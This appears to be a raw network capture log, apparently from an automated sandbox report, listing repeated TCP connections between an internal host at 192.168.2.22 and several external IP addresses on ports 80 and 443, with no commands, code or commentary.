Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 185.199.108.133:443

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49165
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.179.215:443
Source: global traffic	TCP traffic: 172.67.179.215:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.64.88:443
Source: global traffic	TCP traffic: 104.21.64.88:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
Source: global traffic	TCP traffic: 104.168.32.148:80 -> 192.168.2.22:49172
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 104.168.32.148:80
